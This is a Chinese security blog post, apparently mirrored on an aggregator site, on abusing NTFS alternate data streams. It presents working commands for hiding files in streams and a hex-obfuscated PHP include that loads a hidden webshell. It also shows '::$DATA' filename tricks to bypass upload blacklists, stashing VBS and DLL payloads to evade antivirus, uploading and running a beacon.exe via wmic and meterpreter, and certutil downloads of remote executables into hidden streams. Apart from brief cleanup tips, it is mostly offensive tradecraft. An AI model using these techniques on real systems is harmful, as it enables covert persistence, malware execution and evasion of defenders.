zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    0x01 简介

    NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上。利用ADS数据流,我们可以做很多有趣的事情,同时对于企业安全来说这类问题也隐藏着巨大的风险。本文主要讨论利用方式以及如何防御这类攻击。

    在NTFS分区创建ADS数据流文件有两种形式:一是指定宿主文件;二是创建单独的ADS文件。

    常用的创建命令有两个: echo 和 type ,echo 用于输入常规字符,type 则用于将文件附加到目标文件

    type *.txt > C:目标路径合并后的文件名.txt

    0x02 使用方法

    2.1 指定宿主文件

    这类情况可以使用以下命令创建目标文件:

    echo 3628 > 1.txt:flag.txt 
    

    正常情况文件无法查看到,可以使用命令:

    dir /r
    

    文件内容可以使用命令:

    notepad 1.txt:flag.txt
    

    进行查看和编辑:

    此类文件可以通过直接删除宿主文件清除。

    2.2 单独的ADS数据流文件

    这类可以通过以下命令来进行创建:

    echo hide > :mo.txt 
    

    创建之后在目录下无文件,也没有依赖的宿主文件,并且此类文件在当前目录命令行下是无法查看的,因为它是依赖于文件夹的ADS数据流文件:

    因此需要退到上级目录进行查看:

    cd ../
    notepad test:mo.txt
    

    像这类文件的清除一种是通过删除文件夹的方式,但是假如这个文件是创建在系统根目录如何进行处理,此时需要用到 WinHex中的Open Disk功能,直接可以查看到相应的文件,删除即可。

    0x03 Webshell后门

    由于 windows xp 之后的系统对于 ADS 文件都没有执行权限,因此隐藏此类 webshell 需要用到文件包含来进行配合。

    首先创建被包含文件:index.php:mo.txt

    echo ^<?php phpinfo();?^> > mo.txt
    

    然后参考这里给文件名进行一下HEX编码,以免被查,Hex之后通过利用 PHP 可变变量进行二次转换。

    696E6465782E7068703A6D6F2E747874 为 index.php:mo.txt 的 hex 编码,最后创建一个包含中介 test.php 中内容如下:

    <?php 
    $a="696E6465782E7068"."703A6D6F2E747874";
    $b="a";
    include(PACK('H*',$$b))
    ?>
    

    访问test.php即可:

    0x04 文件上传

    这里当然也可以借助此数据流实现 Bypass 上传黑名单验证,因为在我们上传数据流文件时,形如 test.php::$DATAtest.php:a.txt 这样的后缀, windows 系统必定需要创建一个对应的宿主文件 test.php ,同时假设我们需要上传的文件内容为:

    <?php phpinfo();?>
    

    下面是上传是会出现的现象:

    上传的文件名 服务器表面现象 生成的文件内容
    test.php:a.jpg 生成test.php
    test.php::$DATA 生成test.php <?php phpinfo();?>
    test.php::$INDEX_ALLOCATION 生成test.php文件夹
    test.php::$DATA.jpg 生成0.jpg <?php phpinfo();?>

    可以注意到上传文件名为 Test.php::$INDEX_ALLOCATION 时会生成对应的文件夹,利用此种特性也可以用于突破 UDF 提权时遇到无法创建文件夹的问题。

    0x05 病毒免杀

    前面提到过在 windows xp 03 之后的版本的数据流文件都被禁止了执行权限,因此可以使用 wscript 来运行 vbs ,在 C 盘根目录使用命令:

    type 1.vbs > :2.vbs
    

    创建了依赖C盘存在的数据流文件 c::2.vbs ,没有工具是无法清除的,同时这样生成的恶意文件是暂时可以通过部分安全厂商的查杀:

    使用以下命令可以成功执行vbs:

    wscript c::2.vbs
    

    当然除了运行vbs之外,也可以使用dll文件:

    type test.dll > 1.txt:ms
    regsvr32 1.txt:ms
    

    清除方式:用winhex或者删除宿主文件都可以直接清除,借助相关工具如 IceSword 也可进行删除。

    0x06 实战总结

    6.1 通过文件上传执行

    $pwd
    c:WINDOWSdebugWIA
    
    #上传
    $upload /tmp/beacon.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe
    $upload /tmp/beacon.exe test:aa.exe (当前目录下)
    
    $dir /r
    
    #执行
    $wmic process call create \.c:WINDOWSdebugWIA	est:aa.exe
    $wmic process call create C:WINDOWSdebugWIA	est:aa.exe  (当前目录使用,仍需绝对路径)
    
    $execute -cH -f "\\.\c:\WINDOWS\debug\WIA\test:aa.exe" (也可以使用msf来执行)
    

    6.2 通过文件下载执行

    使用certutil下载文件到ADS:

    $certutil -urlcache -split -f http://url/test.exe \.c:WINDOWSdebugWIA	est:aa.exe
    
    #删除certutil缓存:
    $certutil.exe -urlcache -split -f http://url/test.exe delete
    

    6.3 进一步隐藏

    测试发现,如果想要dir /s 里面看不到ADS,可以使用的文件名称为:

    \.C:	estCOM1
    \.C:	estCOM2
    \.C:	estCOM3-8
    \.C:	estCOM9
    \.C:	est
    ul
    

    并且这些文件是不可以直接在UI界面删除的,要删除的话使用如下命令:

    del \.C:	est
    ul
    

    6.4 带参数执行ADS文件

    #可借助MSF,其他的也可以
    $execute -iH -f "c:\文件路径\test:1.exe" -a "文件参数"
    

    0x07 参考链接

    https://evi1cg.me/archives/ADS.html
    https://www.freebuf.com/articles/terminal/195721.html
    https://blog.csdn.net/nzjdsds/article/details/81260524

  • 相关阅读:
    2018年9月28日CCPC秦皇岛站参赛总结
    数学:二次剩余与n次剩余
    数学:拓展Lucas定理
    BZOJ2301:莫比乌斯反演+二维容斥解决GCD范围计数
    数学:莫比乌斯反演-约数个数和
    数学:莫比乌斯反演-GCD计数
    关于cnblogs至github上blog的搬迁
    友链——一群dalao
    折半搜索(meet in the middle)
    关于爆搜
  • 原文地址:https://www.cnblogs.com/-mo-/p/12206603.html
Copyright © 2011-2022 走看看